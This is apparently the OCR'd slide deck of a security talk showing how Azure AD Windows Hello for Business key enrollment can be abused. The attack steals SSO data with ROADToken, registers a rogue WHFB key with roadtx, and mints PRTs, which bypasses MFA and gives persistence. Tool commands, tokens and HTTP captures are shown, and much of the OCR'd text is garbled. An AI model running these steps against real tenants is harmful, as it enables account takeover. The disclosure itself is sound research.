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This talk

* Windows Hello for Business (WHFB) concepts
* WHFB deployment flavours

* WHFB key enrollment process
* Bypassing MFA with WHFB
e Lateral movement with WHFB




Windows Hello (for Business)

* One of Microsoft’s Passwordless authentication offerings

* Uses cryptographic keys that are unlocked using a PIN or with
biometrics to authenticate

* A separate key is used per user/device combination
 Exists in on-prem Active Directory as well as in Azure AD
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Prior work

* Exploiting Windows Hello for Business by Michael Grafnetter
* Explores WHFB internals in Active Directory
* Inspiration for “Shadow Credentials” attack in Active Directory by Elad Shamir

* Several research papers on bypassing biometrics or face recognition
protection

* Research on internal Windows handling of credentials and keys by
Benjamin Delpy

* Nothing specifically on WHFB with Azure AD that | could find



Windows Hello for Business key points

* Provides strong, phishing resistant, Multi Factor Authentication
* Requires MFA to provision
* |Is bound to a specific device

* Has its keys protected by hardware via a Trusted Platform Module
(TPM), preventing attackers from stealing the keys

* |s more secure than password authentication




Windows Hello for Business flavours

* Azure AD native Always enabled
* Active Directory only

* Azure AD and Active Directory

* Cloud Kerberos trust
* Hybrid key trust
* Hybrid certificate trust

Require configuration




Azure AD native WHFB

* Assumes Azure AD joined or registered device

 WHFB enrollment will take place as the final step of Windows
installation, if enabled

* If enabled later, will prompt on sign-in




Azure AD WHFB provisioning

Use Windows Hello with your
account

Your organization requires you to set up your work or
school account with Windows Hello Face, Fingerprint, or
PIN

If you've already set up Windows Hello on this device, we'll
automatically add it for this account. You may be asked to
re-verify with Windows Hello.

If your organization requires a more complex PIN,
Windows will prompt you to change it.
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Azure AD WHEB provisioning — MFA prompt

B® Microsoft
tpmtest@iminyour.cloud
Enter code

Enter the code displayed in the authenticator
app on your mobile device

Code

Terms of use  Privacy & cookies ...




Azure AD WHEFB provisioning — PIN setup

Set up a PIN

A Windows Hello PIN is a fast, secure way to sign in to your
device, apps, and services.

lew PIN

Confirm PIN

PIN requirements

COOOQ




WHFB Provisioning —technical components

e Azure AD Device identity
* Proven by certificate + private key

* Primary Refresh Token
* Long-lived refresh token used for Single Sign On of the user

* Trusted Platform Module (TPM)

* Hardware based protection for private keys (device key, PRT session key,
WHFB keys)




WHEB provisioning - MFA

1757 httbs:iiln(:;in.micrnsnftnnline.cnm GET /common/oauth2/authorize?response t... v 200 1
1766  https://login.microsoftonline.com POST /common/SAS/BeginAuth v 200 3
1778 httns://loain.microsoftonline.com  POST [common/SAS/EFndAuth J/ 200 3
Request

B \n =

Pretty  Raw Hex
1 GET /common/oauth2/authorize?response type=code&client id=dd/62716-544d-4aeb-a526-687b73838a22&
redirect _uri=ms-appx-web%3a%2f%2fMicrosoft.AAD.BrokerPlugin®%2fdd/62716-544d-4aeb-a526-687b73838a22&

resource=urn%3ams-drs%3aenterpriseregistration.windows.net&add account=multiple&login hint=
tpmtest®*40iminyour.cloud&response_mode=form_postdamr values=ngcmfadftcid=

%/bD0O18OF30-0AF1-422C-9821-84B3B841860D%/d&windows api version=2.0 HTTP/1l.1
2Host: login.microsoftonline.com




NGC MFA

* NGC: Next Generation Credentials

* “ngcmfa” indicates the need for a “fresh” MFA prompt, instead of a
cached MFA status {

“aud": "urn:ms-

° 1 1 1 drs:enterpriseregistration.windows.net",
Reflected as claim in issued access tokens “Sss": "https://sts.windows.net /6267F25f-
AT7T-4322-9651-a8697d8felbc/",
"iat": 1684227777,

— -

“amr” [ "nbf": 1684227777,
"exp": 1684228677,
" ! ‘acr": "1",
pwd ", e |
aio”: "AVQAqQ/8TAAAAel
" r<a " /RyQ6asbhTJ74HcwNSzSZegD0onbiJggZYQ+VuIACWUtorRpyWTEU34vmy
I Gza5gdYhS3jxp7AhCpKpH/RM+RBQBNktRcR58gzJbY1UviI9s=",
1 I “amr”: |
|  “"ngemfa” )| | i
T T ‘rsa”,
ﬂ'lfa "ngemfa”,
"mfa”
L, |

"appid”: "dd762716-544d-4aeb-a526-687b73838a22",



WHFB Provisioning token requirements

* Needs to be a token issued to a joined/registered device
e Should originate from a PRT
* Device ID is in the token

* Should contain the ngcmfa claim
* Indicates recent (~10 mins) MFA was performed

e Audience should be the device registration service
(enterpriseregistration.windows.net)




WHEB provisioning

POST /EnrollmentServer/key/?api-version=1.0 HTTP/1.1
Connection: close

Accept: application/json Access token (JWT)
Authorization: Bearer

‘eyJOeXAiOiJKVlQiLCJhchiOiJSUzI1NiIsIngldCI6Ii1LSTNROW50UjdiUm9meGlle9YcWJIWkdldyIsImthCIGIi1LSTNROW50Uj\
diUm9meGl1lWmO9<snip>yulZmriobuClPuljauYrdOPCVdAIj7HMy2z5w2g
User-Agent: Dsreg/10.0 (Windows 10.0.22621.1413) il
ocp-adrs-client-name: Dsreg
ocp-adrs-client-version: 10.0.22621.608
return-client-request-id: true
client-request-Id: 00000000-0000-0000-0000-000000000000
api-version: 1.0
Content-Length: 392
Host: enterpriseregistration.windows.net WHFB (NGC) public key

{
Ilkngc 1] :
"ULNBMQAIAAADAAAAAAEAAAAAAAAAAAAAAQABYBNPOik158F1XQ1mly+re78AtYjkPMo+3uql8NR2FelIl20T fhi2ACAhFXHenB1fz4K
065N025WyQ+W/ roaDdUwtgxekGAv6aCBsNOLf1DJJ0aVPNo7vT/83YzVkhE2t1I/WRVUEKg9gI010kPAbpgPNC rOpet5aAQcO6Ab1INDaY
kj7/WDcYd/cK3PLPeB2BaQGfLH8Tb3zX3t3ptdnssQr4D+htmvXK9KocO04dsw/0sCvIO0oh3TKGIO9ThrcwI555baRrhW3x/BgStgCrXbkn3
k12FIvWEganGUx1deA9brR1ULV/ePIULDNOz7bM17qal040001wXpCrfMLV643YYHDw=="




WHEB provisioning response

Response

Pretty Raw Hex Render

LHTTP/2 200 OK

2 Content-Length: 2536

3 Content-Type: application/json

4 Client-Request-Id: 00000000-0000-0000-0000-000000000000
5Request-Id: 60da3f/c-44db-4c3c-8b40-2f2e98526316

6 Strict-Transport-Security: max-age=31536000; includeSubDomains

/ X-Content-Type-Options: nosniff

8Date: Tue, 16 May 2023 09:08:06 GMT

9

10 {

"kid" :"abb58c2f-5c5a-4026-871d-3409571d9530",
"upn":"tpmtest@iminyour.cloud",

"kKrctx":

"eyJEYXRhIjoiWlhsS2FHSKhZMmxQYVVWVFZY cEpNVTVwU1h0SmIYUndXa05KTmt
sUTZORTU2WXpOU2EwWkVUakJSTKU1VVdUVIBWVmw2VFhwU1JIWSTVhM2xSTUZWcFR
XRkZwVDJsS2IXUXTXbmxPVOZKNVUydFNSMV13YUdOWUOwcEpUV3RhYUZkcWFEWLd
XYOZwRFNUWkphbVJvV1hwck 5GcHRWWGRNV jFsM1R rUkZKRTVFYkdoWmVUQTBXWHB
se NXNVNjRnBEU1RaSmFsbDVUMFJ rY1LUxcWFHMU IWRk p@VGpKWmMRFNUVUWGXOYVR




Obtaining a WHFB backed PRT

POST /6287f28f-4f71-4322-9651-a869/d8felbc/oauth2/token HTTP/1.1

Host: login.microsoftonline.com

Cookie: x-ms-gateway-slice=estsfd; Tpc=AiVX617/G5iVKNEQ3649ALkk; stsservicecookie=estsfd
Content-Type: application/x-www-form-urlencoded

User-Agent: Windows-AzureAD-Authentication-Provider/1.0

Client-Request-Id: eBadd/b2-fbce-447f-903f-d3561223F6ed

Return-Client-Request-Id: true

Content-Length: 3868

Connection: close

windows_api_version=2.2&grant_typegurn®%3aietf%3aparams®s3aoauth®%3agrant-type%3ajwt-bearerfrequest=

eyJhbGci0iJSUzIINiIsICI0eXAi0iJKV1QiLCAieDVjIjoiTULIRDhgQONBdHFNQXdJQkFNSVF rRnhpSE9pejFKMUNBVGxzbm9cl 290VE
FOQmdrcWhraUc5dzBCQVF zRKFEQjRNWF13RVFZSONaSW1pW1B5TEdRQkdSWURibVYwTUJVRONNbVNKb21U0G14a0FSaldCM2RwYm1SdmQz
TXdIUVLIEVIFRREV4AWk5VeTFQY21kaGJtbDZZWF IwY j I0dFFXTmpaWES6TUNZROEXVUVDeE1rTORKalltRmpZVFFOTTIJVNELITMDBObUSOTF
Rsak56TXRNRGsxTUdNeF pXRmpZVGszTUIOWERUSXpNRFVATmpF dOSEVXpPVMIYRFRNek 1IEVXhOakV4TVRVekOWb3dMekVOTUNzROE xVUVB
eElrTiJGak9UaGlaVEFOWmpBME1TMDBPVOZaTFRoak QUWXRNelZoWkRRMUS6STIJORGN3TULJQk1aQUSCZ2txaGtpRz13MEJBUUVGQUFPQO



HEADER: ALGORITHM & TOKEN TYPE

"alg": "RS256",

JWT header oo

“MIID8jCCAtqgAWIBAGIQkFxiH0iz1J1CAT1sno/otTANBgkqhkiGowe
BAQsFADBAMXYWEQYKCZImiZPyLGQBGRYDbmVBMBUGCgmSJomT81ixkARk
WB3dpbmRvd3MwHQYDVQQDExZNUy1Pcmdhbml6YXRpb24tQWNjZXNzMCs
. .~ . . GATUECXMKODJKYMF j YTQtM2U4MSOBNMNhLT1jNzMtMDK 1MGMXZWF jYTK
® DeVI ce ce rtlfl cate an d S g NI ng meta d ata 3MBAXDTIZMDUxXNjEWNDUZOVOXDTMzZMDUXNjEXMTUZOVOWLZEtMCSGATU
EAXMkN2F jOThmZTAtZ jABMS@A0WF jLThjOTYtMzVhZDQ1NzI2NDewMIT
BIjANBgkghkiG9wBBAQEFAAOCAQBAMITBCgKCAQEATX0BUGCHSEBFWIA
+PzmY1eW1080EUDHJSyulyegAaAxNE
/IKErcHYbmRK@BOIhBipPFCRigBvKI+owiB458XJS1wKa9temBEELIQ11
r89kqVgQ2HqYzyJQt8qdQtBPkvyG2P9Daegz98vtage jJR3ITAUBVINXg
KgeBbQAOJFNGZemP5ep6zDToQiscAVhDsw2shQYzhMK1NtD2z9PX3mt0
84RtqBQCIP7x+1NxYHGhHGbBg91YshITLsw8gw
/UhCcwv+y7opaV1ke8wvmSbMFRY86WL fMkWkmXoeb3C1
/EaVz4hSs8kh4WqC6BKY2BaFIC789s0zGZz1X2T5t2F+yGwIDAQABo4H
AMIGOMAWGATUdEWEB /wQCMAAWFgYDVRE1AQH
/BAWWCQYIKwYBBQUHAWIWIQYLKoZIhvcUAQWCHATEEWSBEOCPYXpB8KxX
JFIYTruvyZHAWIgYLKoZIhvcUAQWCHAMEEWSBEF9t2P1Xwg1HoLeKMHS
fkPEWIgYLKoZIhvcUAQWCHAUEEWSBEI
/yh2J/TyJD11GoaXx2P4bwwFAYLKoZIhvcUAQWCHAgEBQSBAKYVVMBMGCY
qGSIb3FAEFghwHBAQEQQEXMABGCSqGSIb3DQEBCWUAA4IBAQBlgPIQ+1
ST5GZd1Xvo1ebFdgNfb580NXU3JF2IsTzGm+DxZ84s
/gTbMR8nkCTQaeMYVsg4HUEmbuswKn9KRIK+nwginXrDhWuuqIAcBpq®
7UMD8vc+8HYSQmk
/QtCbgVicCRhMSusBLICh9wVk8nWCS5gkGRYgjPndtge3uxzqoxoARgMs
ZRizLM11tIMNP+13JeVx8Kp65
/MaYBEZeTUget5ppub5rK2zHXbHDBILXs8MAgTm+HkK3eGVXUIMG61iq4
NelqQHpsIPfI3NQZYE6VIYFNonXxFo2X8Ct25EaECCIsshviiLgT59wYh
PE8ygahfodyKwSBEH295HBsnmRhT ",

}




JWT Payload

PAYLOAD: DATA

* Nonce from Azure AD

"client_id": "38aa3b87-aB6d-4817-b275-7a316988d93b",

([ u "
U Se r n a m e " AWABAAEAAAACAOZ _BQDB_zwa1C6j2wcUBVUHTCKTIBBBRJKWEtDSAVNVQCNPrINIGXxBV17snxYDeIlang9B
. mSp7HWOywKHdJZ7nrbrTSOrAgAA™,
* Assertion (another JWT) ST SpeTT 2 T

"group_sids": |
"5-1-12-1-3449050006-1318031086-10697133083-529194043",
"S-1-12-1-1513299618-1165403084-36088196082-1191284924"

],

"win_ver”: "10.8.22621.688",

~grant_tvpe": "urn:ietf:params:oauth:grant-type:qjwt-bearer”,

"username”: "tpmtest@iminyour.cloud”, I
= Ton

"eyJhbGci0iJSUzI1NiIsICJBeXAi0iJKV1QiLCAia21kTI joiTWIxMUS50M1dsd1hXQThRcHp2R3BZRVJ2Z2x
hdnZIbEYXMW1ZcW5IcGlpcz@il CAidXN1TIjoibmdjIng.eyJpc3Mi0iJBcG16ZXNBQG1taW55b3VyLmNsb3V
kIiwgImF1ZCI6IjYyODdGMjhGLTRGNGY tNDMyMiB5NjUxLUE4ANjk3RDhGRTFCQyIsICJpYXQi0iIxNjgeMzA
ANjA2TiwgImV4cCI6IjE20DQzMDkyMDYiLCAic2NveGUi01JveGVuaWagYXphIHVncyJ9. tBpi2ndKisKL22
p-8elsj3n4JEFoBRENBIPWkxxwlI2ZnATNT jTmedV5MUz1kgDNc8ulLdDIMy8qZ jX2fJg-
FTulXVcDnRyb32tXq8jLgh8QN7IWcusXH14eMmaSEhTeQlwHxrhggmZHrZ50K_xe_q-Gjegf-
WRMQPLqyfME11bsreNOZeebEV1-ScjOhDcEwHIdeo4f18HAJsqANFk-
EZ6HXOxA4pEjNc2KYUhEB7T6617IkFTSgHINNrKg1B1AmXBfwoWve985_i9KGsQWSEeugnMJjnYmKnri19yrgp
f3MkgfYqg¥S1-pN729z98frAeDKzCcbBVwla-7Fc8kzzZrPgw"”

}




Signed assertion with WHFB private key

E n CO d ed PASTE A TOKEN HERE De C O d e d EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

eyJhbGci01iJSUzITNiIsICJBeXA101JKV1QiLCA

ia21kIjoiTWIxMU50M1dsd1hXQThRcHp2R3BZRV e |
J272xhdnZIbEYXMW1ZcW5IcGlpcz0il CAIdXNLI Sinti
joibmdjIn@.eyJpc3Mi01JB8cG10ZXNOQGL1taWs5 "kid": "Mb11Nh2W1wXWA8QpzvGpYERvglavvH1F11iYgnHpiis=",
b3VyLmNsb3VkIiwgImF1ZCI6TjYyODdGMjhGLTR : use . noc
GNOYtNDMyMiB5NjUxLUEANjk3RDhGRTFCQyIsIC
JpYXQi0iIxNjgoOMzAANjA2TIiwgImV4cCI6IJE20 PAYLOAD: DATA
DQzMDKkyMDYiLCAic2NvcGUiOiJveGVuaWQgYXph
IanCng .th12n4KiSKL22p— { "iss”: "tpmtest@iminyour.cloud”,
8el1sj3n4JEF0ORTNBIPWkXxxw1I2nATNTjTme4V5 "aud": "6287F28F-4F7F-4322-9651-A8697D8FE1BC",
MUZ1kqD B ™ Tenant

"scope”: "openid aza ugs” - Timestamp

}



Obtain PRT

{
"token_type":"Bearer",
"expires in":"1209599",
"ext expires in":"0",

expires on . 16855182067
"refresh_token":"0.AXQAj KHYnN9PIkOWUahpfY_hvIc7qjhtoBdIsnV6MWmI2Tt0OAIo

WZ1leVFDkJhV6 vjCDIB74P9Vuz0jLv6RqP21dkG8FpIf02dY1loaWlY1HAwWGKcpOV-hSy 1( PRT
chSDylG1c2szPDqVL48u53KgUYAK-504n84QnSrv9wS7144L0n_NazquyAlnlMTZweRr
"refresh_token_expires 1in":1209599,
"id_token":"eyJ0eXAi0iJKV1QiLCJhbGciOiJub251In0.eyJhdWQiO0iIzOGFhM2I4Ny:
YWdlLmlpY3Jvc29mdC5jb20vZW5yb2xsbWVudHN1cnZlci9kaXNjb3Z1lcnkuc3Zj IiwibWr
Mzk3MzQOLTQWNTI30DcwNjAiLCJzdWIiOiJCejNSbThEbTBsaEZtLTc4bDI2Zno2NUROT mt
"client info":"eyJ1aWQiOiJmOWQANmMQ1ZiliMjU3LTQ3MGQtYTBiNyO4AYTMWNZzQ5Z]ky
"session key jwe":"eyJ1lbmMiOiJBMjU2RONNIiwiYWxnIjoiUTNBLU9BRVAifQ.AQBW: Encrvoted PRT ion k
iyyknFK_nSGfKmQuhvxvTKdwiBetPGOALCTFRLIHGUW2PVVF d80JEyRLAAMAATAASABARA) ENCTYPLE S€ssIon key
"tgt_ad":"{\"keyType\":0,\"error\":\"On-prem configuration is missing\'
"tgt_cloud":"{\"clientKey\":\"eyJhbGciOiJkaXIiLCIJ1bmMiOiJBMjU2RONNIiwi®
TaOCBZEwggWNoAMCAT+iggWEBIIFgAAAegUAAAEAAQAAAAAA/ vgywN1TuOK3XYCYO1lnréw:
xmT OTXud2+dAZ5gF6YZ3Fw61]+oLhujNfZZ1XW81Mun3+zNhnek46sr7w6R8GATOT8EJJF«
UrWJREhhvZMHuwMj ZfneHpAR4cO1JFyAbu6zd] /EJkVO/QIFZBbz6ZrN1E92zv217Y3/gF(| Kerberos stuff
bccACT+UkGrcY9INHUrpnsnDrHhLzi1RPAJKNTE iIMNMPpd2PIQdSGKRo6jEQLiI5S0iAj 3l
ECQJARTqJyMtQiGzyiduUwVo5/p9Pml0jnptZZeDFMz4IZrfCgnFBZ0Oh9D/ceUZT4iHdwNY
countType\":2}",

Tkerberos top_Level names':".windows.net,.windows.net: 1433, .windows.nel




Emulating this flow with roadtx

 roadtx (part of ROADtools) supports WHFB
* Key generation
* Key enrollment token requesting with ngcmfa claim
* Requesting PRTs with Windows Hello private keys




user@ubuntu:~/ROADtools - o @
B user@ubuntu:~/ROADEools 126x42

(ROADtools) - ROADtools git:( ) X roadtx prt -u tpmtest@iminyour.cloud -p SUSERPASS -k talkdevice.key -c talkdevice.penmf]

‘.
-
"




Analyzing WHFB security

* Full provisioning process is controlled by the client
* Policy determines whether the device will initiate provisioning
* Enrollment is possible regardless of policy configuration

* Any device + user combination in the tenant can register WHFB keys
that act as alternative credentials for the user




Analyzing key provisioning

POST /EnrollmentServer/key/?api-version=1.0 HTTP/1.1
Connection: close

Accept: application/json Access token (JWT)
Authorization: Bearer

‘eyJOeXAiOiJKVlQiLCJhchiOiJSUzI1NiIsIngldCI6Ii1LSTNROW50UjdiUm9meGlle9YcWJIWkdldyIsImthCIGIi1LSTNROW50Uj\
diUm9meGl1lWmO9<snip>yulZmriobuClPuljauYrdOPCVdAIj7HMy2z5w2g
User-Agent: Dsreg/10.0 (Windows 10.0.22621.1413) il
ocp-adrs-client-name: Dsreg
ocp-adrs-client-version: 10.0.22621.608
return-client-request-id: true
client-request-Id: 00000000-0000-0000-0000-000000000000
api-version: 1.0
Content-Length: 392
Host: enterpriseregistration.windows.net WHFB (NGC) public key

{
Ilkngc 1] :
"ULNBMQAIAAADAAAAAAEAAAAAAAAAAAAAAQABYBNPOik158F1XQ1mly+re78AtYjkPMo+3uql8NR2FelIl20T fhi2ACAhFXHenB1fz4K
065N025WyQ+W/ roaDdUwtgxekGAv6aCBsNOLf1DJJ0aVPNo7vT/83YzVkhE2t1I/WRVUEKg9gI010kPAbpgPNC rOpet5aAQcO6Ab1INDaY
kj7/WDcYd/cK3PLPeB2BaQGfLH8Tb3zX3t3ptdnssQr4D+htmvXK9KocO04dsw/0sCvIO0oh3TKGIO9ThrcwI555baRrhW3x/BgStgCrXbkn3
k12FIvWEganGUx1deA9brR1ULV/ePIULDNOz7bM17qal040001wXpCrfMLV643YYHDw=="




Key provisioning flaws

* “ngcmfa” claim was not required in practice

* Any token with “mfa” claim and a device ID would work

e Useful candidates:
* Signed-in browser sessions on users corporate / registered personal devices
 Single-sign-on data from users devices




Attack schematics

Q TPM
$

LSASS

I 1. Request SSO data

Attacker

2. Provision new key

Azure AD




Registering a WHFB key with SSO

1. Request SSO data on victim host

PS C:\Users\TPM\Desktop\ROADtoken\bin\Debug> .\ROADToken.exe AwWABAAEAAAACAOz_BADO_7cfmrBCmU4pimDGNbStRoTZvvMO4pgUECV]B]4
DbGboZLMgvKkxk8qCv_75gZ6PXKtTE7M6IqghT3P2m8rC89rIgAA

Using nonce AWABAAEAAAACAOz_BADO_7cfmrBCmU4pimDGNbStRofZvvMO4pgUECV]BJj4DbGhoZLMgvKkxk8qCv_75¢gZ6PXKtTE7M6IqhT3P2m8rC89rIg
AA supplied on command Tine

d { "response”: [{ "name": "x-ms-RefreshTokenCredential", "data": "eyJhbGci0iJIUzIINiIsICIrzZGZfdmvyIjoyLCAiY3R4IjoiemZt

WUTtKkNVCczbUI3Q2NPUUTERDNSAUK4b0ZWK250Y2giTQ.eylyZwWZyZXNoX3Rva2VuIjoiMC5BWFFBAT9LSFIuOVBIa09XVWFoCcGZZX2h2SWM3cWpodG9CZETzb
1Y2TvdtSTIUADBBSW8UQWABQKFBRUFBQUQtLURMQTNWTZdRCmMRKkZOpNN1d1dnJIBZORzX3dRQT1QOWITHVXZFUXhXalhldjlucwzZzhTw8 yRHpMSHB jTDRWVUZRb
ECSREFVX210eXgydXRXNHACOEZKWUtHMUZHCHozdHNNUjJ1Sb3MzU05620IzUzQ3SWdzM215QXpSMzFZZn1]jTXIxd3Zfa2NpTXRHV3hwdX1tTzExR1pwMClwd
ms2dHUIMNIfXzA2SG1SCTBZMMRZMUtCUFpVvZOt1WEIBNVPEZX0tcXRIMEIDYO12RG5zdFIENKLICT1ZTbTR3eWYtTIMIRFPBCTV1XZZMQkMtCc2g1lWTFWZTRXL
UE3YTVrSUtkaMwektkb1NxWWlwade’55QmpIRDBoU3ESSJhPan1ES’lkZHh*aFJszc52DVwV°VVV’1wa°1pcOmeTB’NGNEMXZMalkaJJkRFJZQlVFc

Technical reference: https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/



Get token with SSO data

e Obtaining a token for the device registration service

X roadtx auth --prt-
nce from server to use with ROADtoken: %HﬁtﬁﬁEﬂ

__: .x rog I.J t X | LE
oX3Rva2Vul joiMC5BWFFBal9LSFLuOVBIa09XVWFoCGZZX2h25WM3cC 'jﬁ%fLE zbl
FLUCWZhTWBYRHpMSHB jTDRWVUZRbECSREFVX2 ;ffﬂ.Ath[DEEﬁHUtHhULHLH- ZdHN
IMNITXzAZ2S5G1ScTBZMmMRzMUtCUFpvZOt1WEIBNVPEZ X _Cﬁ. M _-.-ZEPﬂEEdFJEhﬁ;CT;ETJTHE
SjhPanlES21k LthjF] Mz 5ZDVwWV2VvV2lwa2 1 XLV ‘JIKRFIZQ1VFc1hsSU
TE‘M*rIj'EnFH rZWkxTk9abHE ?Ha- i LOCVNOYkt UTUq-hu;xa1:5hHFIaFHHUHH15L
LZHZWK4Qnhjb1MzN3c nXzhv(]l JXVMMUp RN IHH' WkITTLRFNZ2tKaHI3YVFIVTd

'“LLNT FEJ,_T“"“&E ] =J_¢: UVZUQ 'ﬂ_:Eu ﬂfd|HFFf“J_EFT?TF-d“H“F]“F]
LEtMW1GaFc _hLEII“; 4[“TH“E HjELI:thjlt“ LgxUUSZY19wSUM1aVZtc2ZNreVUyYY2FF

”F4j ”'hiiﬁv'fﬁh nyY UQT?HE F““HIL'f“TJHNFWUuHUHDZEHm4L;H;TDLt'uEtHUUd reVQxb

F1ZXNOX25vbmN1l QK FE if BRDOBTN2NmbXJCQ21VNHBpbURHTmITAFIVZLp

WQUEifﬁ Lr.wﬁhl fZJTLT A 4I’ﬁ ﬁ. 1-cvBdFaww -T dEMiCEFEQ

Tokens were written to .roadtools thI




Provisioning a new WHFB key

(ROADtools) X roadtx winhello --access-token eyJ0eXAL101JKV1QiLCIhbGci01JSUzI1NLIs
I61jJaUXBKMIVWYmMpBWVhZR2FYRUpSOGXWMFRPSS19.eyIhdWQi01]1cm46bXMEtZHIZOMVuUdGVycHIpc2VyZWdpc3RyYXRpb24ud2LuZG9 3«
g3ZjI4Z100ZjdmLTQzMIItOTY1IMS1hODYSN2Q4ZmUXxYmMMvIiwlaWFOI joxNjY2NJIOO0DEILCIuYmYLOJEZNIY2ZMIQ4MTcsImV4cCIGMTY 2N
2WUtac210a2FtWHoOS1I3MUQXxMTevYBF1VStvQzdWaWvXc2oyNnh2L31lyTGxkRDZWbOpEQ21GbmarcHLhUUVaUXpEb2Z2ROZ6RjFkZ3VEUUC
ZMELXSWiYXBwaWQi01IxYjczMDkINCOXNjg1LTRiINZQtOWIMZC1kYWMyMjRhN2I40TQiLCIhcHBPZGFjcil6I JALLCIKZXZpY2VPZCI6ImQ:
3VWeyI6WyILY2ImZTE3YYOXZDYWLTRhZ jYTOGQyOSOWM2IxMzgxNjUzYTQLLCIANTL1Z jg1MiOXMDU4LTQSNDETOTIOZCILM2E2YWESMZ Qw!
O1LCIvaWQi0iImOWQ4NmQ1Z11jMjUSLTQ3IMGQLYTBiNYO4YTMWNZQ5Z jkwZ JELLCIwdWlkI joiMTAWMZ IWMDIWMjc1RTLERSIsInJoIjoiM
TaTLUVFAhbDBBSWBUIiwicZNwI joilcG9saWNSX21hbmFnZW1lbnQiLCIzdWIL0OLI1LSmpRUTAXWHVUa jM2dnB5c2Voa2VpUTNPY2ZmSzF20TH
dGLEkI joiNJI4N2YyOGYtNGY3IZ100MzIyLTKZNTELYTQ20TdkOGZIMWI JIiwldWSpcXVLX25hbWULOLI0CCG10ZXNOQGLTtaW55b3VyLmNsb3V
mtadkx3Q211WVVLSDhPYOFpaGh2QUELLCIZZXILO01IXLJALLCI3aWRZI jpbIMI30OWZLZJRKLTNLZ jktNDY40504MTQzLTc2Y JESNGUANTUW(
SWTQlYdIJzMgssuvmrw_-1lm 7e07tdF4V-hAjodnKybt1Cv(Q6a4XENBD7VQ7DZ2KD2ygN7qplbDVXVvocvsLKp3vos81ppYNOUYTIDAmMLWIY ]
@ailUMFfUH-qgjpwn63Gz-Tb5xGjA3e9 BqHD2zTBWeX91e9HaKLPVDoqCISpmiP18PRZLIEShjIWVVTHWAYL69ae0XSt1lvgPygVLE-MweearX:
nb2z7QmbbUPFvXEFwW

Saving private key to winhello.key

{'kid': '7525aa92-408a-4bfd-ael5-84c2c50ac23a’, 'upn': 'tpmtest@iminyour.cloud', 'krctx': 'eylJEYXRhIjoiWlhs
5SR1JHVVAOVK1sSkZS5Sal1IQVKVKRVRSULZORTUZWXpOUZEWWKVUakISTKkUIVVAUVIBWYMW2ZVFhwU1JWS1VhMZXSTUZWCFRFTKTNR1ZZUVdsU
SMVLSYUdOWUOWCEpUVIRRYULZKCWFEW LdSMVpSWTRNWUmMFXW LIMPVY 1UZ10YVdUGCHAXVEp XY O LWRFNUWKpUVEY IVFCXEKSGDHFVDWXNY jFGNFH
DWXx0ZVVselNXNVNJRNBEU1RasSmFsbDVUMFIrY LUXCWFHMU1IWRKpOVGPKWMRFNUVUWGXOYVRBMVRTCFZ1IRXhYULRST2Ftc3pXallvYLZwVV]
VZHUWXGVLVrSLIWVVpDVVZWR1IsR1ZSa0psSViVaQ1vVWVkdRBEZWUMtKULZVWINVV1ZLZG10cVNraESWRm94V1VoV1VWUXdkSEJOU jFwelVg




Requesting a PRT with the new key

(ROADtools) X roadtx prt --cert-pem hellodevice.pem --key-pem hellodevice.key
-hello-key winhello.key -u tpmtest@iminyour.cloud

Obtained PRT: 0.AXQAj] KHYn9PIkOWUahpfY hvIc7qjhtoBdIsnVeM
WQASP-eGv1po@G7dfp0jadX]s8MBUWIgbATMLiTovBRXIWDULr8t03xzun
VNDLi1lWXzTogg2bXXZC64r3-TSEIuVftTuHigbjcorfWAEMEETNAN4TNXS
CcmAyEazFt3ew9RNse5DznUGyT7gyJkaVQ-0vV5-fbCFAePBLld8 jsp1gNN
7I9MSE3wzQvPS11IHk8 JKWWIXx8pmXtTyDDYFiL139g-HtZP663wpgHpQZU
OEW-R3MdPatynFya--g5q1T43HqJlzpkNa7EPSNGrLcVeNdZYXroXEnoCv
VAatyRHuam-115rvEG6DhM1AMWG6acBuCUcpwK jWTsS5NhAEoKPBORZQPAL
16VzdOcQmmM7GvZIDdeILh-6MpY64G-R3gzob7 JwnXeTUdOWapz140Py
K8C2tydfeaddYMMvuXbiahf2Zg7iBBCEKLVND1GB1jqCv-Dbd8goNF18E
3Im9BWzctjujoOpD1lAQUEB1ALOTIor 18euNbnHSb2t2I40QNw _Cugidiug3vK
Snmhaz

Obtained session key: 9b4b8e715cc900T87T053b5b4561ced3d3543edelfbeTee72c2bd70c53T686db4g
Saved PRT to roadtx.prt

(ROADtools) X roadtx prtauth
Tokens were written to .roadtools auth




Attack TL;DR

* Possible to overwrite the registered WHFB key from a device via SSO
* Defeats TPM protection of the key material
* Provides persistence for attackers

A WHFB key can be used with any device (it’s a feature™)

* With some tricks possible to restore the original key and keep the
victims device working



WHFB from the perspective of
Azure AD




WHFB key storage

GET ~ https://graph.windows.net/myorganization/users/tpmtest@iminyour.cloud/?api-version=1.61-internal&$select=searchableDeviceKey

Params @ Authorization @ Headers (8) Body Pre-request Script Tests Settings

Body Cookies Headers (18) Test Resulis @é Status: 200 OK Time: 3.98s Size: 512 KB

Pretty Raw Preview Visualize JSON ~ =

==

"odata.metadata": "https://graph.windows.net/myorganization/$metadataf#tdirectoryObjects/@Element”,

"odata.type": "Microsoft.DirectoryServices.User",
"searchableDeviceKey": [

i
"LIS&EE": “NGC“,

~keyldentifier": “rgO0ixCohcbitH7MIVNYefiHIrYmoomkrVcgkfYiRmDU="

|I|%HHHHIIIIIHII

Cookies

Save Response v

© Q

00 =1 O N s W P =

"keyMaterial": "UINBMQAIAAADAAAAAAEAAAAAAAAAAAAAAQABPdFvxDyqFu5SobI8aHNNdBOR1PI3GI3x6k/
LMIMeqG80igwybI9AXvZmIMdkwTPtwsXco0ZYSsM+RmZhxkAhXATNTRIZDFgskEcHW+EBEIZxchVmugd JxmmElrB6Ex /
bagBVgTeb5tCQQIpDpEnFbUAWL+WG7mOwebprdGZbHPIGE]SzhHEYOIUZ1AT /eKAG1 TeLLOMDNLeTSvXWwydm89LclyT5hC
+JgSoNnoDQv06NYNNANbiSt /auB81Bs /FGYRQoptMgY20ZaRtMxyB02AedijysmbsqSI18xd1N3yvOuHjEbXETZZPDOdQ5hFP7g6Ed/
UvDZCrGhmYnGzcaQEEE§w==“,

g 2023 AR 17TAR-23-23 39874977
10 "deviceId": "73240d49-8e89-40c9-8cB81-dB8ea3l850637", I
11 "customKeyInformation": “AQAAAAAEAQAAAAAAAAAA“,

12 "fidoAaGuid": null,

13 "fidoAuthenticatorVersion": null,

14 "fidoAttestationCertificates": []
